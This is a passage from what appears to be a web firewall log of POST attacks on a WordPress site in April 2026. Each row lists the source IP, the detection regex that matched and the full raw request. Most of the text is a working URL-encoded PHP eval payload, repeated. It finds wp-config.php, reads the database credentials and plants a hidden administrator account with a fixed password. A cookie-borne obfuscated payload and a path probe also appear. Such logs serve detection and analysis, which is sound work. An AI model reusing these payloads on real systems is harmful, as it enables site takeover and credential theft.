0WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:39:50","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nGBStEu=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:53:31","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Zb:%3C%3Fphp%20%20%20%24path%20%3D%20%24_SERVER%5B%27SCRIPT_FILENAME%27%5D%3B%20die%28%22%3Cfs%3E%22.filesize%28%24path%29.%22%3C\/fs%3E%3Cp%3E%7B%24path%7D%3C\/p%3E%22%29%3B","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:250\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 